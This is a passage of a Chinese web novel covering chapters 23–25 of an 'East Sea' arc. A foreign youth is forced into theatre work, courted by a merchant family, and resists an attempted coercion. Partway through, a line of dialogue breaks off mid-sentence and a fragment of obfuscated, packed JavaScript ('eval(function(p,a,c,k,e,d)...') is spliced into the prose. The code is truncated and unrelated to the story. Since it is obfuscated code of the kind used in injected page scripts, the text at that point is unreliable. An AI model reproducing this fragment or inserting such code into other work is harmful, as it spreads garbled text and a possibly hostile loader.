典当行的柜台基座足有三尺高,台前更设有防护围栏,典当物需高举过头方能递上。柜员与客人隔着柜台,只闻其声,不见其面。 一日,页目向照常当值,忽觉台下客人的声音甚是耳熟,便格外留意起他的动向。待那人办完事准备离去,页目向猛地站起身探头望去——青袍灵鹿面,正是先前坑害了自己的奸商! 那青袍商人似也察觉到身后灼人的目光,竟转身回望,隔着面具对上页目向的视线,还笑着抬手招了招。页目向当即就要离座去追,身旁同事却问他要往何处去。他只得借口出恭,再抬头时,那人早已消失在门外人潮之中。 页目向心知他定然还会再来,暗下决心:下次见面,定要叫他给个明白说法。 23. 东海篇-当红艺人 炎煜朱在红袍处才学了三天,便被要求登台,演一出《赏樱记》。这戏文内容倒也通俗,讲的是一贫寒女子进入某国王宫,在一次赏樱宴上,因集美丽、才华、德行乃至世间所有美好的词汇于一身,被王子看中,最终通过国王考验,成了王妃。 这桩差事的起因,是某位话剧导演前来集训地挑角儿,一眼便觉着炎煜朱带股子贵气,正适合出演那位王子,当场就要拍板定下。这位导演名字月前事,算是业界新晋,此前并无甚么出众作品,却独独练就了一手看人的好本事。他早年为了谋求上进,曾专门学过青龙语,如今竟真遇上了炎煜朱,心下暗想,这果然是天道酬勤。 炎煜朱心中好生纳闷:这几日只学了点形体礼仪,台词、演技是无人过问,这般上台,岂非存心要人出丑?他忍不住问道:“我连剧本都未曾看过,贵邦的歌乐语也不会说,词也记不住,这却如何出演?” 月前事闻言笑道:“你只需在台上站定,届时自会有人在一旁为你提词。” “若我连何时该开口都不知晓呢?” 月前事听罢,眉头一皱,面露不满道:“这有何难?你瞧见有人上前与你搭话,便张嘴;若那搭话的人冲你点头,你便停下。” 炎煜朱嘟囔道:“这么演能行吗?” 月前事已面露不耐,心下盘算若炎煜朱再矜持半句,便非要换人不可,当下语带高傲地说道:“机会摆在眼前,可别不中用。多少人苦等多年求都求不来的角色,我不过是看重你有几分独特气质,你自己想明白些。” 炎煜朱心想:与其演那花哨不中用的人设,还不如演出戏过过瘾。便应了下来。 “回去把剧本背熟些,”月前事临走又丢下一句,“即便有人配音,台步动作也须糊弄得漂亮点。” 炎煜朱恼他怎么前后说话都不对嘴,正要发作,却已被旁人请去研读剧本。待他把这故事粗读一遍,不由得点评道:“怎么还不如我人设那个角色精彩?” 演出安排来得极快,第二晚便在名屋大剧院公演。炎煜朱哪有什么演话剧的能耐,只能照着月前事最初吩咐的那样,在台上硬生生站足了三个时辰。 好容易捱到下台,炎煜朱刚松了口气,月前事却嬉皮笑脸地凑了上来:“恭喜!贺喜啊!” 炎煜朱见他这般变色龙的做派,心下反感,皱眉问道:“喜从何来?” “台下有位大贵人相中了你,指名要与你共进晚餐呢!” “相中?”炎煜朱万万没料到自己那不入流的表演还能遇上“知己”,不禁自嘲道,“你莫不是在编排我?下次我可再不去了,你另请高明吧。” 月前事急忙劝道:“小佛爷,您这……” 炎煜朱对这称呼十分不适:“什么小佛爷?” 月前事立刻堆起笑脸:“您如今的艺名是佛朗明戈,自然得尊称您一声小佛爷!我早说小佛爷您贵气非凡,这不,一朝便涅槃新生了!” 炎煜朱实在受不了这般露骨的奉承,皱眉打断:“你......大贵人说的是谁?” 月前事兴奋道:“樱家三太子——上杉信和大人!” 炎煜朱心生疑惑:东海早已没了皇帝,哪来的什么太子?于是问道:“太子?他真欣赏我的表演?” “三太子欣赏的,正是您本人呀!”原来,这便是他那“看人”的好本事。他早打听到上杉信和正在名屋城中,又凭着对其过往伴侣的研究,揣摩出其喜好,这才量身打造出这么一出戏,选出这么一位人。 炎煜朱愈发好奇:“那我还挺想见见,这‘眼光独到’的是何方人物。” “三太子的车驾早已候在剧场门外,我带您去!” 那是辆以金丝楠木打造、外□□革的四轮马车,车顶铺满了鲜花与鲜果,车前侍立着两名身着红色制服的侍从。行人纷纷驻足侧目,却又不敢过分靠近,车前方竟默契地空出了一片广场。 炎煜朱在众人的簇拥下被送入这辆精致的花车。见司机与保镖皆在前座,后座只他一人,他不由开口问道:“不是说太子要见我吗?人呢?” 月前事忙上前提醒道:“太子已在府中等候。小佛爷,您切莫得意忘形。”说罢,他便为炎煜朱关上车门,目送马车缓缓起步,这才松了口气,发觉自己手中已攥出一把冰冷的虚汗。 马车在一片枫叶林中停下。车前,裂纹石板小道没入最里的山中,千百级长梯勾连住半隐在林梢间的亭台楼阁。此时秋景刚有些渐染的红意,倒像是廊柱的朱漆在催促枫叶快些变色。 四名侍从抬着红轿来接,炎煜朱不懂他们要做什么,只得依从上了轿,一路往山深处去。“这是要去哪?”他问道,猜度是这些侍从都不通青龙语,所以一路无人搭腔。渐行间,两旁红意更甚,轿子最终停在一座宏伟的大殿前。但见:檐上列走兽一十三类,栋梁刻雕花五十八种,老叶墨瓦、新叶金窗,依旧是与上山路径一脉相承的朱红门墙。炎煜朱以为主人真是太子,排场也未免逾矩,但转念一想,百里不同风,谁知这边是何等规矩? 炎煜朱被侍从催促着送入殿内,总算见到了上杉信和。只见他端坐于堂上,衣着并不华贵,身形气韵却远超其装束,一派文质彬彬,举止间皆是优雅。 “他们事先答我你是青龙人士,想来这一路无人能与你说笑解闷,真是辛苦。你上来。”上杉说着青龙语,示意他一旁入座。 炎煜朱自来东海后遇见的人物大都会说几句青龙语,所以并不惊讶。他离近细看:上杉信和目光老态,皮肤却仍细腻犹如婴孩,分不出多少年岁。“太子你指名我来,是为了什么事?” 上杉信和闻言一笑:“他们教给你的称呼?若是真太子听见,可要治我的罪了。” “你不是太子?” “我只是一介商人。” 炎煜朱回味过来:“原来如此,所以说,你是这幕上樱的主人家。” “主人家是主人家,我不过是其中一位闲散人士。” “你找我有什么事吗?” 上杉信和觉着他颇有些性格,心中十分喜爱,故意逗趣道:“你是美人,我是金主,还能干什么?” 炎煜朱往后猛撤一步,横眉视之,怒道:“我可不是你以为的那种角儿!” 上杉信和却也不恼,端过茶杯浅抿一口,说:“我不喜欢强迫。既然如此,你过来做什么?” 炎煜朱嫌弃道:“导演说你是太子,我以为真是国君召见所以才来的。” 上杉信和问:“若是国君召见,你便肯去?” 炎煜朱理所当然道:“那是自然。” 上杉信和自以为明白了其中缘故,笑道:“东海国如今没有国君。即便有,其手中权柄,也未必胜过我。” 炎煜朱奇怪道:“你不是商人吗?” 上杉信和笑答:“是。” 炎煜朱便戏谑道:“那你就不怕被判处个谋反之罪?” 上杉信和抬首,细细打量炎煜朱:底下人不知从何处物色来的这个角儿,倒真像是一概不知。模样确实不错,但该先立些规矩。于是声色转严,问道:“你的规矩,都是谁教的?” “你说那本人设册子?我才不稀罕学呢!” 上杉信和以为他尚未明白其中利害,继而威吓道:“你可知在我面前失仪是何等罪过?足以教你永无出头之日!” 炎煜朱心下只觉好笑,若非天目神通被锁,他早已离去,何苦在此听这些无谓的编排。“随你的便。若无事,我便告辞了。” 他盘算着回去路上趁无人看管便寻机脱身,不料上杉信和却叫住他:“赤枫山庄路径复杂,易迷方向,还是让人送你一程。”说罢即吩咐侍从备轿。炎煜朱虽万般不情愿,几番推说自己能走,却终究还是被客客气气地请上轿子,送出了大殿。 待殿内重归寂静,上杉信和方下令道:“去查查这块璞玉的来历。” 座后屏风内传来一声应答:“遵命。” 上杉信和复又令道:“便当他已尽了‘红事’,一切照旧例安排。” 自炎煜朱回来,月前事便不离左右地试探询问。他见炎煜朱依旧是那副浑不在意的模样,只道是坏事已成,连细软都已备下,预备着渡洋潜逃。 正此间,一名侍从叩门传话:“月前先生,上杉家派人送信来了。” 月前事两手一耷拉,深深叹了口气,这才敢出门接信。待他大步流星地赶着回来时,竟已是满面春风、兴高采烈的模样。 “小佛爷真是深藏不露!面不红心不跳就拿下了太子爷,我还以为……” 炎煜朱一脸狐疑:“以为什么?什么拿下,不过是……” “当然、当然!小佛爷您这就算是出头了!”不等炎煜朱说完,月前事便继续报喜:“太子爷指名要您七日后在红黄联会上出演压轴大戏,虽说是做配,可也是旁人求都求不来的机遇!” 炎煜朱一时摸不着头脑,只得追问:“什么戏?”月前事却顾不上答他, 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即便夜深,楼内大厅依旧灯火通明,不时有醉意摇晃的身影经过。环形前台后,四、五位管理员小姐正在值勤。其中一位接过月前事递上的介绍信,浏览后略作停顿,说道:“佛朗明戈先生,您的房间在二十一层三十六室,这是钥匙,请您收好。”此言一出,周围往来之人都不由得停步注视,纷纷好奇这“佛朗明戈”究竟是何方新秀,模样为何如此面生? 月前事忙接过钥匙,喜道:“小佛爷,您的房间在二十一层。” 炎煜朱小声嘀咕:“二十一层?这上下出入也太不便利了。” 月前事笑着解释:“小佛爷您有所不知,这类高层大厦都装有‘绳梯’,无需人力,上下自如。” “‘绳梯’是?”炎煜朱回想片刻,恍然道,“哦,可是矿井里用的那种?” “类似,类似!”月前事连连点头。 月前事从随行侍从中点了菊平与萤负责搬运随身行李,吩咐其他人押运大宗物品先往大广场去。待进了绳梯,见无外人,月前事赶忙躬身道喜,菊平和萤也忙不迭跟着行了个跪礼以示祝贺。 炎煜朱自接了《赏樱记》,遇见了太多没由的事,此刻赶了一夜的路,早没了精神,应付道:“又有什么喜事?” “小佛爷,赶着这红黄联会的艺人,没有一千也有八百。青龙国有三教九流之说,我们东海艺人,也有高下九类之别。” 正说着,绳梯已停靠二十一层。月前事不敢再多言,赶忙侧身迎请炎煜朱步入房间。房内设施一应俱全,日常用度皆细心备置。自落地窗向外望去,正对着京都铁塔的璀璨夜景。俯瞰城市车水人流,不过钢铁蚁走。炎煜朱少见这等都市造物,只觉灯火过于晃眼,连连熄去了好几盏。 炎煜朱接着问:“你说的九类,具体是哪九类?” 月前事忙答道:“回小佛爷,这上三类称作‘贵老红’,指的是那些背靠权贵、资历深厚、眼下正炙手可热的艺人;平三类叫‘财喜颜’,是能赚钱、口碑好、相貌出众的;下三类为‘佚庸劣’,说的便是没名气、资质平庸,或是德行有亏、已然败露的那等。这德艺大厦的房间,以顶层二十一层为尊,每低一层,便次一等。您能住进二十一层,必然是预备的上三类!故此,我先恭喜小佛爷了!” 炎煜朱听得晕乎,疑道:“这还能预备?” “自然能!”月前事忙道,“您是太子爷钦点,至少就占定了一个‘贵’字;待联会过后,‘红’字便是囊中之物;届时只消再略熬几年,接上几部大戏,下次您再来德艺,入住的必是前十室!” 炎煜朱一时无言以对。他觉着在这草台班子多待几日都快憋闷疯了,更遑论“略熬几年”,嘴上却仍敷衍道:“那就借你吉言了。” “我还安排了菊平与萤贴身伺候小佛爷您,他们都会说青龙语。我早先打听过,二十一层的套间都配有佣人房,果然不假!” “那其他人如何安置?” “他们都在广场那边扎营落脚,您就不必费心了。” “广场?那地方如何住人?” “小佛爷是初次参会有所不知。艺人们动辄携带几十名侍从仆役,又需随时听候差遣,在广场扎营是再合适不过了。” “难道不会堵塞交通么?” “那是大演会场后方的一片专用空地,本就是当年荻草猪……呸!您瞧我这张嘴,这名儿如今可提不得。那地方本是专为樱家文体演出所设,自然避开了寻常人流。”月前事解释着,忽又转为谄媚的腔调,“这扎营已是十几年的老规矩了,这回托小佛爷您的洪福,咱们总算也能占上一块好地方!” 24. 东海篇-冤家路窄 第二日一早,月前事便来唤炎煜朱去会场排练。炎煜朱推说身体不适,月前事急道:“小佛爷!与您搭戏的都是顶尖的名角儿,您这样可是自毁前程啊!”见炎煜朱无动于衷,仍旧蒙头酣睡,月前事把心一横:“那就只能得罪小佛爷了!——菊平、萤,来给小佛爷更衣上妆!” 炎煜朱没料到他竟如此执着,当即翻身坐起,没好气道:“行行行!我去还不成吗!” 月前事立刻堆起笑脸讨好:“小佛爷莫怪,这场戏不比《赏樱记》,万万随性不得,台词需得亲自说,否则要惹贵人们动怒的。” “既然如此,你让菊平或萤替我去便是,我一句歌乐语都不会讲。”萤听说如此,竟面露动容,眼中直冒光。 月前事瞪了萤一眼,这才为难道:“这……若是这样,三太子那边可没法交待啊。” “我看他为人还算和气,你怎么就这般怕他?” “所以说小佛爷您是有天命的,遇上的是三太子,若是别的贵人,今日还不知是何等光景。”月前事岔开话题,见炎煜朱还争持着又劝道,“小佛爷放心,三太子给您安排的是个门面配角,说不上几句话。虽说压轴戏份隆重,但您只消背熟那几句词,再认真练好台步行止,便出不了差错。” 并不需炎煜朱应允,用过早饭,他便被接到了会场。只见会场后方的空地已扎起大大小小近百顶营帐,其中靠里的几顶颜色红黄相间,月前事说那就是后台。他把炎煜朱送进其中一顶,嘱咐道:“老戏骨们在讲戏,小佛爷您即便听不懂,也请先听着,最好能装出时而迷茫、时而开悟的模样。” 帐内约莫围着四五十人,正对当中几排座位议论纷纷。炎煜朱进帐也无人留意,但见最前排几人争得面红耳赤,第二排的偶有插话却总被驳斥,再往后便无人出声,只一味听着。 说戏直至中午,待第一排的人结伴出去,其余人才敢散去。菊平早在帐外等候,见炎煜朱出来,忙上前递上食盒,解释道:“月前先生原说要开小灶,只是忙到此刻给忘了,今日只得委屈您,先将就用些会场的盒饭。” 炎煜朱对吃食倒不讲究,接过食盒道了声谢。 “对了,先生还吩咐我将青龙文译本带给您。” 炎煜朱别过餐盒,拿起剧本瞥了一眼,封面上写着《太阳王》。“好,我回去看。” “先生还交代,几位主演未时还要继续说戏,请您务必到场陪同。” “这讲戏比夫子授课还令人心烦!听又听不懂——菊平,不如你代我去吧!” “小佛爷您可莫要为难我了,这是要在贵人面前露脸的差事,菊平没有那样的福气。” 炎煜朱还想再争取一番,却被人出声打断:“弟弟,我们可又见面了。” 闻声望去,来人打扮精致,披着一条双面绣纹的红丝绸缎,面容姣好——应是月前提过的上三类艺人。炎煜朱不记得何时见过他,只当是菊平的熟人。菊平知晓这人是新晋歌手,艺名中槭树,颇得上面大人栽培,给了许多舞台机会,如今也算风头正劲。 来人见他迟疑,故作嗔怪道:“弟弟好健忘。所谓不打不相识,我们好歹也算‘热烈’过一场。”菊平一听,以为是他们旧日相识,便识相地退到了一边。 听他这不着调的语气,炎煜朱倒是想起他是谁了。虽样貌有些出入,但这轻浮举止断不会错。“芃丝!好啊,你倒自己送上门来了!”当初在秦淮缉拿陆匪,唯独逃了庆布、墨本与芃丝三人,如今既撞见了,炎煜朱势要将他捉拿归案。 芃丝掩面低笑:“弟弟还要我‘上门’,说得怪有情调的。”他早瞧见炎煜朱进了会场,起初尚有顾忌,只在暗处观察。见斯堪曼不在,而炎煜朱举止规矩、俨然一副在职艺人的模样,这才敢上前挑衅。 炎煜朱本想将他拿下送官,后知后觉天目神通仍无法调用,只得按下念头,冷声道:“今日没空与你纠缠,暂饶你这回。” 芃丝却不恼,依旧笑吟吟地:“弟弟都当了艺人,脾气还是这么硬。” “我不过是暂时妥协,若非他们......”炎煜朱脱口争辩,却猛地收声——若让七罪宗知晓他如今处境,只怕更糟。 芃丝笑问:“他们什么?” “无可奉告。”炎煜朱不欲纠缠,撂下狠话,“你最好躲着我点。”说罢,不再停留,扬长而去。 芃丝也不生气,只轻笑着自语:“真是块顽石!早晚要你晓得哥哥的好。” “树,你在这儿做什么?信介大人正找你。”一名红袍商客走近搭话。 芃丝白了来人一眼,语带嫌弃:“那肥仔怎么专盯着我不放!” “嘘!”对方急忙压低声音,“你不要命了!” 芃丝却不以为意,转而喜形于色:“我方才又遇见在秦淮府见过的那位弟弟,这次定要尝到滋味。” “什么弟弟?” “就是前不久,在秦淮许旬带来的那个……” “你疯了!”红袍客见四周人多眼杂,忙将芃丝拉到无人角落,压低声音道:“那可是舍源镇的高干子弟!我们能有今天,全是拜他们所赐!”原来这红袍客正是庆布。当日他们逃至东海,投靠了幕上樱当家的二公子上杉信介,改头换面,重操旧业。 芃丝被他一吼,愣了片刻,随即不满道:“你嚷什么!我观察一早上了,那几个大的都不在,就留这个小的在会场排练压轴戏。” 庆布沉吟道:“恐怕有诈,说不定就是冲着我们来的。” “那怎么办?” “东海也不安全,还得走!” “还能走到哪去?这种东躲西藏的日子我过够了,你要走自己走。” 庆布冷哼一声:“既然如此,别怪我不讲情面!” 芃丝索性撕破脸皮,反唇相讥:“什么情面?分明是钱面!你除了干这拉皮条的老本行,还能做什么?” 庆布气急,恶狠狠道:“好!到时候你锒铛入狱,可别怪我没提醒你!” 见他真动了怒,芃丝自觉话重,语气稍缓:“你真是被咬怕了!这东海五分之一都是幕上樱的天下,背靠大树,还不好乘凉吗?” 庆布越发觉得芃丝空有皮相,见识却愚蠢至极:“你以为是五光的东海,殊不知是东海的五光,昔年八桥与五鸟兴盛之时,也妄想自己是东海主人,如今安在哉?以自己为鉴,你也该晓得七罪宗前后如何。幕上樱难道就不会有冰消瓦解那天?怎么说得出背靠大树好乘凉这种话!” 芃丝驳道:“你也知道!就算逃到别处,哪儿不是天原治下?是南洋的□□能保你?还是北境的空贼能罩你?他们难道就不会是下一个七罪宗?” 见芃丝神色动摇,庆布趁势又道:“你在台前风光,不知幕后凶险。这次红黄联会,就是樱家要与芒家结盟的宣言,目的是要联手对付猪鹿蝶!” 芃丝刚来东海不久,也只零星听得些传闻:“猪鹿蝶?不就是那帮没落的旧贵族么?” “今时不同往日!他们这些年靠着国营生意,早已划出一片不小的版图。荻草猪强占地盘,触了芒家的逆鳞;牡丹蝶推行艺术教育,又挡了樱家的财路。这三家本就同根同源、沆瀣一气,如今已有足够的实力,能走到台前与五光掰一掰手腕了!” “那又如何?” “虎兕相争必有一伤,若樱家输了势力不复从前,看上杉信介还能藏你多久?” 芃丝闻言终于动摇。二人不再多言,悄然离开会场,很快便消失在茫茫人海之中,不知所踪。 却说这日晚间,上杉信介与上杉信和兄弟二人亲临会场巡视。原本在排练压轴戏的主演们闻讯,也都不讲戏了,簇拥在两位大人身后陪同。第一排的位置空出后,第二排的交谈声便大了许多——但那又如何?炎煜朱是一个字都听不懂,又干坐一下午。 正烦闷间,有人入内通传:“上杉大人今晚设下誓师宴,请各位移步月满居赴宴。”帐内顿时一片欢腾,众人纷纷起身离去。 月前事进帐来寻炎煜朱,说明宴请之事。炎煜朱满面不情愿:“我今天待够了,能不去么?” “两位太子爷都在场,小佛爷要是不去,是打谁的脸?” “爱打谁脸打谁脸!去了也是干坐着,我又说不上什么话!” “您定是与二十一层的前辈同席,他们都会说青龙语。” 见炎煜朱不信,月前事解释道:“在东海,青龙语曾被称作‘上语’,但凡是有些身份学识的,都会说。诸位艺界前辈就更不必说了。” 炎煜朱疑道:“这是什么缘故?” “不过是因外贸往来所致。小佛爷您快动身吧,还得回去准备行头,免得失了体面。” 宴会无非是格调的房间、华丽的饭菜以及光鲜的人。有经验的团队都会送自家艺人沐浴更衣,再补上一个精致的新妆。月前事早就为炎煜朱备下一套大公礼服,上身十分合体。绫罗绸缎与珠宝堆叠出宴会的贵气与俗艳,斗艳攀比与喧嚣张扬着上流的光怪陆离。 与炎煜朱同桌的是本次压轴戏的四位主配,享有独唱曲目的知名歌星大和惠,以及两名短喜剧演员。炎煜朱在讲戏时见过那四位主配,尤其今日下午他们格外聒噪,令人印象深刻。见着他们,炎煜朱才想起先前月前事托菊平送来的剧本自己一遍也未看过,于是取出剧本便要翻阅。 “哟,后生这般态度难能可贵啊,你们都该学学。”高个的那位喜剧演员打趣道。 “可不是,怪不得能被信和大人看中,果然有几分刻苦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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信介方要责问,信和却拦下他附耳低语:“他是青龙国人,不懂歌乐语。”信介早听闻兄弟新得了个青龙籍的男宠,想来便是眼前人,又细细打量炎煜朱容貌,果真有几分不俗姿色,顿时转怒为喜,笑吟吟地往下一桌去了。 背过人处,信介笑道:“你倒是进了桩好货。”见信和无意接话,信介得寸进尺:“既然如此,不如让与兄长?” 信和并未将实情相告,暗想人各有命,或许不久自有分晓。但念及几分同胞情谊,仍劝道:“此人并非温顺乖巧之辈,兄长还请三思。” “有些性子才妙,千篇一律的有什么趣味。”信介摆手不以为意,见信和沉默不语,又开始诉苦,“我前些日子刚收了个青龙来的,今日便传不见人影。想来东方不亮西方亮,横竖都是樱家的艺人,不如成全兄长这个心愿?” “若兄长中意,亲自相邀对他已是厚爱,何必过问兄弟意见?” 信介抚掌而笑:“如此甚好。” 宴会直至午夜方散。醉意醺然的人们三三两两勾肩搭背,各自回房歇息。炎煜朱并不识路,以为月前事会来寻他,所以还未离开。 见月前事迟迟不来,炎煜朱心中盘算着:莫非是他忘了?正好借这个机会逃走。刚要起身,就被两个红袍侍从拦住,用生硬的青龙语说道:“上杉大人要见您。”炎煜朱以为是上杉信和,心里嘀咕这位主子又要玩什么把戏。 还是一辆装饰鲜花的马车,目的地却比山庄低调许多,是成排别墅中的一栋。今夜比昨日更冷了些,门前栽种的槭树在夜色中显得格外鲜红。侍从将人送到后便垂手守在门外。 炎煜朱推门进去,只见上杉信介穿着浴袍斜倚在软榻上,四周点缀着喜烛,撒满了玫瑰花瓣,不禁诧异:“怎么是你?” 上杉信介闻言,以为弟弟故意隐瞒,顿时不悦:“你以为是谁?” 炎煜朱脱口而出:“上杉信和啊。你又找我什么事?” 上杉信介见他如此轻慢自己,怒道:“想是我兄弟把你惯得太好才让你这么没规矩!跪下!” 炎煜朱哪肯受这种委屈,当即骂了几句转身要走。上杉信介见他身形单薄以为好拿捏,便要动强。炎家是几百年的武家传承,即便使不出天目神通,拳脚功夫却还在。只见炎煜朱一个后撤躲开擒拿,顺势抓住上杉臂膀,侧身扎步将他过肩摔在地上,嘴里怒道:“要不是你们耍些下三滥的手段,我早一把火把你们烧个干干净净!” 上杉信介平生头回吃这般痛楚,急得大喊:“快来人啊!快来人啊!”门外侍卫与巡逻保安闻声冲进来护主。炎煜朱与他们扭打成一团,搅得花瓣破碎、蜡烛尽断。上杉信介趁机爬出战圈,慌乱中抽出一卷《能面川》的复刻本。炎煜朱眼前忽然再度浮现那片流川景致,一张一开,又坠入了那个白茫茫的世界。 上杉信介艰难起身,勉强整理了一下浴袍,怒道:“废物!饭桶!十几个侍卫还挑不过一个孩子!” 侍卫们个个垂首噤声,挺直身子不敢应答。 见他们这般窝囊模样,上杉信介更是怒火中烧,挨个踹了一脚,厉声下令:“把那狂徒押给上杉信和!我要那小子给我一个满意解释!” 25. 东海篇-牡丹教育 上杉信介的手下带着囚禁着炎煜朱的《能面川》来到上杉信和处。信和早有所料,却仍佯装震惊,连称对此事毫不知情,并表态定会严惩不贷。待将众人哄走后,他竟直接将炎煜朱释放,轻笑道:“果真是初生牛犊不怕虎!” 炎煜朱骤然脱身,还道是上杉信介又要无礼,当即摆开架势准备迎战。见是信和,不由怒斥:“你哥哥就是个地痞流氓,连轻薄都不分男女!” 上杉信和摇头,似乎并不认同这番说辞:“若不是一早定了你这个角儿,又花销许多广告宣传费用,我也不会保你。你回去罢。” 炎煜朱巴不得立刻离开。待他走出信和住所,却见月前事早已在路边等候。一见炎煜朱出来,他急忙小跑至跟前,焦声道:“小佛爷,您可闯下大祸了!” 炎煜朱怒道:“什么祸!若是在青龙国,他们一家都惹上大祸!不要以为我年纪轻不晓得这些污鸡戏狗的事!全都该都治罪进牢子!” 月前事急忙捂住炎煜朱嘴,恼道:“佛爷!祖宗!你怎么敢!”炎煜朱扒开他手还要骂,此时上杉信和府邸门前尚有卫兵值守,窗棂间人影绰绰。月前事把心一横,指尖运劲点向炎煜朱气海穴,趁他四肢麻软动弹不得,急忙将人抬上马车送回德艺住所。 翌日,上杉信介吃瘪的丑闻便随海风传遍了每个有心人的耳朵。炎煜朱回到住所后终日卧床闷睡,一言不发。月前事彻夜未眠,多方打探方知事情全貌。虽心凉了半截,但转念想来上杉信和既肯放人,说明此事尚有转圜余地,眼下最要紧的,倒是该如何劝得小佛爷继续登台。 上杉信和一早就备上礼物前去赔罪。上杉信介怒道:“你小子分明是存心害我!说什么都没用,随我去见大哥评理!” 上杉信和忙道:“我怎敢暗害兄长?实在是没料到他竟如此不识抬举!” “我可听说人送到你府上,你转手就放了!” “兄长息怒,这其中另有隐情。”上杉信和故作神秘,压低声音道:“手下人查不到他的来历底细。按常理,唯有世家子弟才会这般保密,故而不敢轻易处置。” 他说得煞有介事,实则传来的消息是炎煜朱并无入境记录,因在黑医处治伤与卫官冲突,恰逢樱家星探入狱选人,最终被认定为偷渡客。 上杉信介冷笑:“什么大家子弟的笑话,家世再显赫不过五光,你说什么......”他说到一半忽然顿住,似是想到什么,竟没再说下去。 上杉信和适时提醒:“兄长,他是青龙国人。” 青龙国统御九州,千年国祚,其间名门望族何其之多?即便现编个世家名号,若要对着族谱查验,没有足够的人手时日也难辨真伪。 上杉信介顺手砸了他送上的琉璃茶壶,怒道:“你为何不早说!” 上杉信和躬身赔礼:“前夜我初见他时,便觉此人气度不凡,当即派人查探,也是昨夜才得着消息。”见信介仍板着脸,他又像哄孩子似的说了几句软话,这事才算揭过。 话说红黄联会的宣传册虽已贴满京都大街小巷,但木弈轩因在闹市隐居,对此事一无所知。这日忽闻敲门声,她并未唤过客房服务,只当是斯堪曼从外地返回,悄悄将门打开一道缝隙。却见门外站着个瘦小男孩,脸上灰扑扑的,衣衫褴褛,正笑嘻嘻地递来一叠新报纸,伸手比了个七,示意要钱。 木弈轩从未见过这般卖报方式,但见对方只是个孩子,加之语言不通恐生枝节,便掏钱买了一份。那小孩接过钱欢天喜地跑开,木弈轩无奈摇头,退回房中。 隐居日子既无山水怡情,又无亲友作伴,木弈轩信手翻开报纸解闷。忽见一则新闻配图中的人物竟与炎煜朱长得一模一样,她惊喜交加,细看内容竟是报道新晋艺人破格出演红黄联会压轴大戏《太阳王》。 “煜朱怎会去演戏?”木弈轩百思不解。她继续往下读,虽然这位艺人用的是“佛朗明戈”的艺名,但标注的青龙国籍进一步证实就是炎煜朱。报道还详细刊载了演出时间地点,甚至提到戏迷见面会的安排。 眼下斯堪曼归期未定,既然得知炎煜朱下落,她断不能错过这个机会。犹豫片刻后,她端坐梳妆镜前,依照斯堪曼的嘱咐在鼻翼与下巴点了两颗痣,又按页目向建议裹上厚实兜帽,终于鼓起勇气踏出房门。 月前事哄了炎煜朱一上午仍不见好,正头疼时,萤来传达广场方面的意见。 “主人......”萤欲言又止。月前事会意,将他带到隔壁房间细说。 "广场的前辈们倒未真动怒,但希望小佛爷能出面表个态。"月前事早有所料,点头称是。 “还有一事,联会先前安排的戏迷见面会就在今日,我们安排的那几百号人都候着呢。小佛爷还在气头上,恐怕......” “这事我知道了。”月前事这才想起见面会这茬,灵机一动,心生一计。 萤继续道:“若是得罪了前辈们,往后接戏怕是难了。” “凭他什么角儿也不敢忤逆太子爷的意思,你下去罢。” 月前事打发走萤,又回到炎煜朱跟前劝道:"小佛爷快起身吧。" 炎煜朱仍装睡不答。 “不是让您去排戏,是您的戏迷们吵着要见您呢。” 炎煜朱心知自己只演过一场,不信这番说辞,依旧不理不睬。 月前事又道:“广场组织了戏迷见面会,每位艺人都有专场,您正好排在今天。”见炎煜朱仍纹丝不动,月前事以为失算,这是位不惧上也不魅下的主。 却说木弈轩几经辗转,方抵达见面会场。场外围观者甚众,却迟迟不见正主现身。待管理人员出来说了几句,人群便熙熙攘攘地散去。木弈轩不明就里,仍独自留在原地张望。管理人员见她神色慌张、举止可疑,便上前询问。 木弈轩忙道:“实在对不住,我不懂歌乐语。我是来参加佛朗明戈戏迷见面会的。” 这管理人员原来就是菊平。他听闻对方竟是真的戏迷,不由惊喜,当即用青龙语回道:“您真是小佛爷的戏迷?实在不巧,他今日身体不适,无法到场。明日还有一场见面会,还请您继续支持小佛爷!” 木弈轩急道:“病了?他生的什么病?严重吗?我略通医术,可否与你同去探望?”她仔细回想这一路遭遇,只觉柳家飞舟上那力士出手最是狠辣,煜朱硬挨了他一掌,定是落下了什么隐疾。 菊平被这一连串问得措手不及,生怕无法圆谎,反问道:“您是有执照的鹿角医生?” 木弈轩不解:“什么鹿角医生?” 菊平略松了口气:“如今东海国只有登记在册的鹿角医生才能合法行医。小姐应是初来乍到?切记莫要因会些医术便在东海悬壶济世,否则轻则罚款,重则下狱。” 木弈轩恍然顿悟——原来这才是她“榜上有名”的缘由。“怎会有这等规矩?” 菊平无奈摇头:“我们都觉这规矩不近人情,但枫叶鹿的政客执意推行。反对议案提了不止一回,如今也只能如此。还请您务必留意,切勿触犯。” 木弈轩忙问:“那您知道怎么才能成为鹿角医生吗?” 菊平瘪了瘪嘴:“牡丹蝶旗下的培训机构倒是能办这个,但如果不是实在必要,还是免去浪费这些时间。” 木弈轩道过谢,又追问:“那煜......佛朗明戈明日能来吗?” 菊平也不敢保证,支吾道:“小佛爷病着,实在说不准。不过还是欢迎小姐常来看看。” “请您务必转告他好好养伤,就说有位戏迷会天天来此等候。” 菊平大为感动,郑重承诺一定把话带到。 木弈轩离开会场后,便去打听牡丹蝶的培训机构。这机构名为“破茧”,竟是处处设有分店,还是个连锁行当。她走进其中一家,立时有专人前来接待。双方对了几句话,对方才转用青龙语问道:“小姐要报考哪一科?” “您这里能考取鹿角医生的在册资格吗?” 那人闻言笑道:“自然可以,请您随我来。”遂将木弈轩引至一间玻璃隔间密谈。木弈轩注意到此处有许多相似隔间,磨砂玻璃虽不阻隔视线,但每个房间都只见二人对坐,一人讲解一人倾听,与此间情形一般无二。 “鹿角医生资格由枫叶鹿授权,若经由我们牡丹蝶举荐,需先了解您的基本情况。请问小姐籍贯是?” 木弈轩如实相告:“青龙国巴蜀府。” “可是士族出身?” 木弈轩心想若按宗姓而论,自家的确属于士族,便答道:“是的。” 那人面露喜色:“既如此,可带有家族文书、徽章等身份凭证?” “此次出门并未随身携带,这要紧吗?” 那人语气骤变,带着几分轻蔑:“自然要紧。”随后又问了几个无关问题,语带讥讽:“既是这般条件,我劝姑娘还是多报几门课,选个宽厚的老师,待攒足资历再作打算。” “这要多久?” 